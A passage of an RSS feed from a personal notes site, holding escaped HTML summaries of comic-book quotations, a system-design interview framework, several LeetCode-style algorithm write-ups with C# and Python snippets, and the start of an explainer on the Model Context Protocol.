examination of responsibility. &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#Daredevil2025-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;MATT. Rage. It&amp;rsquo;s everywhere in this city. People are terrified. Of what&amp;rsquo;s
happened, of what &lt;strong&gt;might&lt;/strong&gt; happen. Everyone is everyone&amp;rsquo;s enemy. Anyone who
needs help is &lt;strong&gt;weak&lt;/strong&gt;. They can&amp;rsquo;t let themselves be weak. Not in &lt;strong&gt;this&lt;/strong&gt;
world. They tell themselves they&amp;rsquo;re strong. They&amp;rsquo;re just &lt;strong&gt;afraid&lt;/strong&gt;. &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#Daredevil2025-02"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Delivery Framework for System Design Interviews</title><link>https://www.curiosities.dev/computer-science/distributed-systems/delivery-framework/</link><pubDate>Sun, 31 May 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/distributed-systems/delivery-framework/</guid><description>&lt;h2 id="requirements-5min"&gt;Requirements (~5min)&lt;/h2&gt;
&lt;h3 id="functional-requirements"&gt;Functional Requirements&lt;/h3&gt;
&lt;p&gt;Completions for &amp;ldquo;Users/Clients should be able to&amp;hellip;&amp;rdquo;, e.g., for Twitter: post
tweets, follow other users, and see tweets from users they follow. Keep the list
targeted and prioritized (e.g., top 3) as your job is to develop a system that
meets those requirements. &lt;span class="citation-ref"&gt;&lt;a href="#DeliveryFramework"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h3 id="non-functional-requirements"&gt;Non-Functional Requirements&lt;/h3&gt;
&lt;p&gt;Completions for &amp;ldquo;The system should be&amp;hellip;&amp;rdquo;, e.g., for Twitter:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Highly available, prioritizing availability over consistency.&lt;/li&gt;
&lt;li&gt;Scale to support 100M+ daily active users.&lt;/li&gt;
&lt;li&gt;Low latency, rendering feeds in under 200ms.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#DeliveryFramework"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Valid Sudoku</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/grids/valid-sudoku/</link><pubDate>Fri, 29 May 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/grids/valid-sudoku/</guid><description>&lt;p&gt;Determine if a \(9 \times 9\) Sudoku board is valid. A Sudoku board has nine
\(3 \times 3\) sub-boxes. Validate the filled cells such that each row,
column, and sub-box contain the digits \([1, &amp;hellip;, 9]\) without repetition. &lt;span class="citation-ref"&gt;&lt;a href="#LCValidSudoku"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Unintuitive to me that given a &lt;code&gt;char c&lt;/code&gt;, we need &lt;code&gt;c - '0'&lt;/code&gt; to convert it into an
&lt;code&gt;int&lt;/code&gt;. &lt;code&gt;Convert.ToInt32('4')&lt;/code&gt; gives us &lt;code&gt;52&lt;/code&gt;, not &lt;code&gt;4&lt;/code&gt;. &lt;span class="citation-ref"&gt;&lt;a href="#Convert.ToInt32"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;I don&amp;rsquo;t think we can do better than validating all 9 rows, 9 columns, and 9
sub-boxes. There&amp;rsquo;s no repeated work that can be optimized. At its core, this
problem is about traversing the grid in different ways. There is room for
improvement in how we handle each check. From the &lt;code&gt;char[][]&lt;/code&gt; grid, we can use a
&lt;code&gt;HashSet&amp;lt;char&amp;gt;&lt;/code&gt; to check for duplicates (ignoring &lt;code&gt;c == '.'&lt;/code&gt;). If we convert the
&lt;code&gt;char[][]&lt;/code&gt; to an &lt;code&gt;int?[9,9]&lt;/code&gt; grid, we can use a compact &lt;code&gt;BitArray&lt;/code&gt; to check for
duplicates, or as I&amp;rsquo;ve just learned, a &lt;code&gt;BitVector32&lt;/code&gt; which is even more compact
at 32 bits.&lt;/p&gt;</description></item><item><title>Is Subsequence</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/strings-and-1d-arrays/is-subsequence/</link><pubDate>Thu, 28 May 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/strings-and-1d-arrays/is-subsequence/</guid><description>&lt;p&gt;Given two lowercase strings, &lt;code&gt;s&lt;/code&gt; and &lt;code&gt;t&lt;/code&gt;, return &lt;code&gt;true&lt;/code&gt; if &lt;code&gt;s&lt;/code&gt; is a subsequence
of &lt;code&gt;t&lt;/code&gt;, or &lt;code&gt;false&lt;/code&gt; otherwise. A subsequence of a string is a string that is
formed from the original string by deleting some (can be none) of the characters
while maintaining the relative positions of the remaining characters. &lt;span class="citation-ref"&gt;&lt;a href="#LCIsSubsequence"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;My solution was:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cs" data-lang="cs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;class&lt;/span&gt; &lt;span style="color:#75af00"&gt;Solution&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;private&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;string&lt;/span&gt; &lt;span style="color:#111"&gt;_s&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;private&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;string&lt;/span&gt; &lt;span style="color:#111"&gt;_t&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;bool&lt;/span&gt; &lt;span style="color:#111"&gt;IsSubsequence&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;string&lt;/span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;string&lt;/span&gt; &lt;span style="color:#111"&gt;t&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;_s&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;_t&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;t&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#111"&gt;IsReachable&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;private&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;bool&lt;/span&gt; &lt;span style="color:#111"&gt;IsReachable&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;si&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;ti&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;si&lt;/span&gt; &lt;span style="color:#111"&gt;==&lt;/span&gt; &lt;span style="color:#111"&gt;_s&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Length&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;true&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;char&lt;/span&gt; &lt;span style="color:#111"&gt;c&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;_s&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;si&lt;/span&gt;&lt;span style="color:#111"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;for&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;i&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;ti&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#111"&gt;i&lt;/span&gt; &lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#111"&gt;_t&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Length&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#111"&gt;i&lt;/span&gt;&lt;span style="color:#111"&gt;++)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;_t&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;i&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt; &lt;span style="color:#111"&gt;==&lt;/span&gt; &lt;span style="color:#111"&gt;c&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#111"&gt;IsReachable&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;si&lt;/span&gt; &lt;span style="color:#111"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;i&lt;/span&gt; &lt;span style="color:#111"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;false&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&amp;hellip; where &lt;code&gt;_s&lt;/code&gt; and &lt;code&gt;_t&lt;/code&gt; avoid unnecessary string copies in the recursion tree.&lt;/p&gt;</description></item><item><title>Minimum Size Subarray Sum</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/strings-and-1d-arrays/min-size-subarray-sum/</link><pubDate>Thu, 28 May 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/strings-and-1d-arrays/min-size-subarray-sum/</guid><description>&lt;p&gt;Given an array of positive integers &lt;code&gt;nums&lt;/code&gt; and a positive integer &lt;code&gt;target&lt;/code&gt;,
return the minimal length of a subarray whose sum is greater than or equal to
&lt;code&gt;target&lt;/code&gt;. Return &lt;code&gt;0&lt;/code&gt; if there is no such subarray. &lt;span class="citation-ref"&gt;&lt;a href="#LCMinSizeSubarraySum"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This reads like an \(^{n}P_{k}\) permutation problem, where we&amp;rsquo;re trying to
minimize \(k\) under the constraint that the sum of elements is greater than
&lt;code&gt;target&lt;/code&gt;. \(^{n}P_{k}\) can be implemented in a BFS manner, e.g.,&lt;/p&gt;</description></item><item><title>Remove Duplicates from Sorted Array</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/sorting-and-searching/remove-duplicates-in-sorted-arrays/</link><pubDate>Thu, 28 May 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/sorting-and-searching/remove-duplicates-in-sorted-arrays/</guid><description>&lt;p&gt;Given a sorted integer array, remove some duplicates in-place such that each
unique element appears at most twice. Maintain the relative order of the
elements. If there are \(k\) elements after removing the duplicates, the first
\(k\) elements of the array should hold the final result. &lt;span class="citation-ref"&gt;&lt;a href="#LCRemoveDuplicatesSortedII"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This a two-pointer problem, where we have a tortoise and a hare. Establishing an
invariant that must be maintained throughout the array is useful to avoid
tripping up on index arithmetic. In this case, let &lt;code&gt;tortoise&lt;/code&gt; be the index whose
final value needs to be determined in the current iteration. &lt;code&gt;[..., tortoise-1]&lt;/code&gt;
(inclusive) is the processed range that won&amp;rsquo;t change. &lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/two-pointer-algorithm"&gt;#two-pointer-algorithm&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Rotate Array</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/strings-and-1d-arrays/rotate-array/</link><pubDate>Thu, 28 May 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/strings-and-1d-arrays/rotate-array/</guid><description>&lt;p&gt;Given an integer array of length \(N\), rotate the array to the right by
\(k\) steps, where \(k \ge 0\). &lt;span class="citation-ref"&gt;&lt;a href="#LCRotateArray"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Rotation is periodical, e.g., rotating a 5-item array 13 times yields the same
result as rotating it \( 13 \mod 5 = 3\) times. So our effective \(k\) is
\(k \mod N\). That \(k \ge 0\) saves us from 
&lt;a href="https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/14-restroom-redoubt/14-restroom-redoubt/#WikiModulo"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 worrying about how the
programming language implements modulo operations
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
.&lt;/p&gt;</description></item><item><title>Two Sum</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/sorting-and-searching/two-sum/</link><pubDate>Thu, 28 May 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/sorting-and-searching/two-sum/</guid><description>&lt;h2 id="problem-description"&gt;Problem Description&lt;/h2&gt;
&lt;p&gt;Given a 1-indexed array of integers that is sorted in non-decreasing order, find
two numbers such that they add up to a &lt;code&gt;target&lt;/code&gt; number. &lt;span class="citation-ref"&gt;&lt;a href="#LCTwoSumII"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="solution-linear-scan-with-binary-search"&gt;Solution: Linear Scan with Binary Search&lt;/h2&gt;
&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/binary-search"&gt;#binary-search&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;At its core, the problem is a binary search one. Given \(a\), find \(b = t -
a\) in the right side of &lt;code&gt;array&lt;/code&gt;. If \(a &amp;gt; \lfloor t / 2 \rfloor\), then
there is no possible \(b\) to the right because \(b \ge a\) and \(2a &amp;gt;
t\).&lt;/p&gt;</description></item><item><title>Majority Element in Array</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/sorting-and-searching/majority-element-in-array/</link><pubDate>Wed, 27 May 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/sorting-and-searching/majority-element-in-array/</guid><description>&lt;p&gt;Given an array of size \(N\), return the element that appears more than
\(\lfloor N/2 \rfloor\) times. Solve the problem in \(\mathcal{O}(N)\) time
and \(\mathcal{O}(1)\) space. &lt;span class="citation-ref"&gt;&lt;a href="#LCMajorityElement"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Solving this in \(\mathcal{O}(N)\) time precludes sorting as that takes
\(\mathcal{O}(N\ logN)\) time. Using \(\mathcal{O}(1)\) space precludes
having a dictionary of frequencies. What is special about a frequency that is
\(&amp;gt; \lfloor N/2 \rfloor\)? What kind of arithmetic would such a value
survive?&lt;/p&gt;
&lt;p&gt;In a sorted array, a number that appears \(&amp;gt; \lfloor N/2 \rfloor\) times is
also the median. How can we compute the median of an unsorted array in
\(\mathcal{O}(N)\) time and \(\mathcal{O}(1)\) space? Scratch that, the
median is a more general problem as the frequency need not be \(&amp;gt; \lfloor N/2
\rfloor\).&lt;/p&gt;</description></item><item><title>Merging Sorted Arrays</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/sorting-and-searching/merging-sorted-arrays/</link><pubDate>Wed, 27 May 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/sorting-and-searching/merging-sorted-arrays/</guid><description>&lt;h2 id="merge-sorted-arrays-in-place-with-buffer"&gt;Merge Sorted Arrays In-Place With Buffer&lt;/h2&gt;
&lt;p&gt;You are given two integer arrays &lt;code&gt;nums1&lt;/code&gt; and &lt;code&gt;nums2&lt;/code&gt;, sorted in non-decreasing
order, and two integers &lt;code&gt;m&lt;/code&gt; and &lt;code&gt;n&lt;/code&gt; representing the number of elements in
&lt;code&gt;nums1&lt;/code&gt; and &lt;code&gt;nums2&lt;/code&gt; respectively. &lt;code&gt;nums1&lt;/code&gt; has a length of \(m + n\). Merge
&lt;code&gt;nums1&lt;/code&gt; and &lt;code&gt;nums2&lt;/code&gt; into &lt;code&gt;nums1&lt;/code&gt; in non-decreasing order. &lt;span class="citation-ref"&gt;&lt;a href="#LCMergeSortedArray"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;We don&amp;rsquo;t want to use extra \(\mathcal{O}(m + n)\) space. Traversing &lt;code&gt;nums1&lt;/code&gt;
and &lt;code&gt;nums2&lt;/code&gt; from left to right creates complications, e.g., given \([4, 6, 8,
0, 0, 0]\) and \([3, 4, 5]\), the intermediate \([3, 6, 8, 0, 0, 0]\)
raises questions on where to stash the \(4\). However, starting from \(m -
1\) and \(n - 1\) leads to an elegant solution where we don&amp;rsquo;t need
intermediate stashes.&lt;/p&gt;</description></item><item><title>The New Gods (2024)</title><link>https://www.curiosities.dev/fiction/new-gods-2024/</link><pubDate>Mon, 25 May 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/new-gods-2024/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/new-gods-2024.jpg');
 }
&lt;/style&gt;

&lt;h2 id="conflict"&gt;Conflict&lt;/h2&gt;
&lt;p&gt;MAXWELL LORD. What he failed to understand, my friend, is that it is human
nature. To find things that are better than us &amp;ndash; godly, wondrous divine things
&amp;ndash; and drag them down and pull them apart. Until there isn&amp;rsquo;t very much godly or
divine about them at all. &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#NewGods-02"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;THE CHRONICLER. Having foreseen his imminent capture and inevitable end,
Parzurem had already fractured his mind into two arguments, given shape and
structure by each other&amp;rsquo;s existence&amp;hellip; moder and paeter. The moder pyxis found
itself drawn by the gravitational fallout of the sundering of Urgrund,
eventually falling into the orbit of Galactica, which would later come to be
known as New Genesis. But the paeter pyxis drifted through an eternity, driven
by Parzurem&amp;rsquo;s search for peace and ponderance, before finding its way to an
infant planet in a far corner of the cosmos where it would be undisturbed for a
brief age. &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#NewGods-03"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Everything Dead &amp; Dying (2025)</title><link>https://www.curiosities.dev/fiction/brombal-everything-dead-and-dying/</link><pubDate>Sun, 17 May 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/brombal-everything-dead-and-dying/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/everything-dead-and-dying.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='EDD'&gt;
 
 Everything Dead &amp;amp; Dying&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Tate Brombal; Jacob Phillips.
 
 
 
 
 
 &lt;a href="https://imagecomics.com/comics/releases/everything-dead-dying-tp" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=imagecomics.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;imagecomics.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/comic/everything-dead-and-dying-tate-brombal/19466561" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 2025.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;h2 id="characterization"&gt;Characterization&lt;/h2&gt;
&lt;p&gt;JACK. Once upon a time, in a quiet, little town, there lived a &lt;strong&gt;farmer&lt;/strong&gt;, and
he was a &lt;strong&gt;good&lt;/strong&gt; farmer. It was all he knew, after all. And the farmer worked
his land from &lt;strong&gt;sunrise&lt;/strong&gt; to &lt;strong&gt;sunset&lt;/strong&gt; every single day. Tillin&amp;rsquo; his fields,
feedin&amp;rsquo; his chickens, and collectin&amp;rsquo; his &lt;strong&gt;harvest&lt;/strong&gt; right on time. He &lt;strong&gt;was&lt;/strong&gt; a
good farmer, after all. &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#EDD-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Dictionary-Based Implementation of Classes and Objects (Python)</title><link>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/type-systems/user-defined-types/dict-based-impl-of-objects-and-class-python/</link><pubDate>Sat, 16 May 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/type-systems/user-defined-types/dict-based-impl-of-objects-and-class-python/</guid><description>&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#SDXPyObjectsAndClasses"&gt;&lt;/a&gt;&lt;/span&gt; implements a toy version of Python&amp;rsquo;s object
system using dictionaries that contain references to properties, functions and
other dictionaries. Consider two shapes, &lt;code&gt;Square&lt;/code&gt; and &lt;code&gt;Circle&lt;/code&gt;, with the methods
&lt;code&gt;perimeter&lt;/code&gt;, &lt;code&gt;area&lt;/code&gt;, and &lt;code&gt;density&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="objects"&gt;Objects&lt;/h2&gt;
&lt;p&gt;A function is an object, where the bytes in a function are instructions. For
example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;def&lt;/span&gt; &lt;span style="color:#75af00"&gt;foo&lt;/span&gt;&lt;span style="color:#111"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;in foo&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&amp;hellip; creates an object in memory that contains instructions to print a string,
and assigns that object to the variable &lt;code&gt;foo&lt;/code&gt;. &lt;span class="citation-ref"&gt;&lt;a href="#SDXPyObjectsAndClasses"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Model Context Protocol (MCP)</title><link>https://www.curiosities.dev/computer-science/large-language-models/mcp-101/</link><pubDate>Sat, 09 May 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/large-language-models/mcp-101/</guid><description>&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;MCP is written with LLM apps as the clients, not human end-users. It provides a
set of conventions on how to agnostically provide context to LLM apps.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="mcp-101"&gt;MCP 101&lt;/h2&gt;
&lt;p&gt;There are 3 key participants in the MCP architecture:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MCP Host&lt;/strong&gt;: The AI application that manages one or more MCP clients, e.g.,
Claude Code, Copilot, etc.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MCP Client&lt;/strong&gt;: A component that maintains a connection to an MCP server and
obtains context from an MCP server for the MCP host to use.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MCP Server&lt;/strong&gt;: A program that provides context to MCP clients.&lt;/li&gt;
&lt;/ul&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;So typically, the MCP server and the client are implementation details that the
